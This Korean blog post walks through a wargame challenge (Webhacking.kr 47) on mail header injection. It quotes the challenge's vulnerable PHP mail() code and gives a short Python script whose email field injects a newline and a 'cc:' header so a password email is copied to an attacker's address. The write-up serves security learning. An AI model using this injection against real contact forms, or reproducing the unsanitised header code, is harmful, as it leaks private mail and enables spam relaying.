관리 메뉴

Hax0r

[풀이] Webhacking.kr 47번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 47번 문제

영준이 2017.09.19 11:35

47번 문제는 150 스코어 문제이며, 문제 난이도는 상대적으로 쉬운편에 속한다.

문제에도 기재되어있 듯 이, `Mail Header injection` 이다.

Mail Header injection 의 간략한 내용을 덧붙이고자 아래와 같은 참조글을 덧 붙인다.


It’s common practice for websites to implement contact forms which in-turn send emails to an intended recipient of the message by a legitimate user. Most of the time such a contact form would set SMTP headers such as From and Reply-to to make it easy for the recipient to treat communication from the contact form just like they would any other email.


`Email` 이라는 필드하나만 소유하고있는 폼이 보이고, 모든 페이지는 로그와 함께 "done" 이라는 alert 을 보여준다.

소스코드를 보니, 주석으로 index.phps 가 있어, 통상 이것이 힌트를 가르키는 주소인걸 알기에 이동해서 서버 사이드 쪽 코드를 본다.


코드의 내용은 아래와 같다.

POST 메소드의 email 파라미터 값이 있다면  header 에 본 값을 추가하고 `mail` 함수를 통해서 메일을 발송한다.

PHP 내부 함수 중, mail 에 대하여 공식 홈페이지에서는 아래와 같이 알려주고있다.


mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )


여기서의 중점은 header 부분에 우리는 FROM, CC, Bcc 등을 추가할 수 있다는 것이다.

이를 통해 우리는 `cc` 로 별도의 이메일을 추가하여 메일 정보를 확인 할 수 있다.

따라서 본 파라미터 값에 본인의 이메일 주소(a@hax0r.info)를  추가할거다. backspace 를 통해 (e.g. test@sender.com\a@hax0r.info)


* Cc(Carbon Copy, 참조) : 수신자 외 다른 사람에게도 수신

* Bcc (Blind Carbon Copy,숨은 참조) : 수신자 외 다른 사람에게도 수신 (수신자에게 보이지 않음)


아쉽게도 현재 문제에서는 서버의 문제로 mail 함수를 주석했고,
요청 된 값이 hack 이 가능한 값이라고 내부적으로 판단하여 이외 일련의 프로세스를 실행한다고한다.



if($_POST[email])

{


$pass="????";


$header="From: $_POST[email]\r\n";


mail("admin@webhacking.kr","readme","password is $pass",$header);



echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");

}


아래는 간단하게 Python 코드를 작성하여 request 하여 풀었다.


import requests


PHPSESSID = ''

PROBLEM_URL = 'http://webhacking.kr/challenge/bonus/bonus-11/index.php'

cookies = {

    'PHPSESSID' : PHPSESSID

}



r = requests.post(PROBLEM_URL, cookies = cookies, data = {

    # 'email' : "test@email.com%0d%0acc: a@hax0r.info",

    'email': "test@email.com\ncc: a@hax0r.info",

})


print(r.text)






저작자 표시 비영리 변경 금지
신고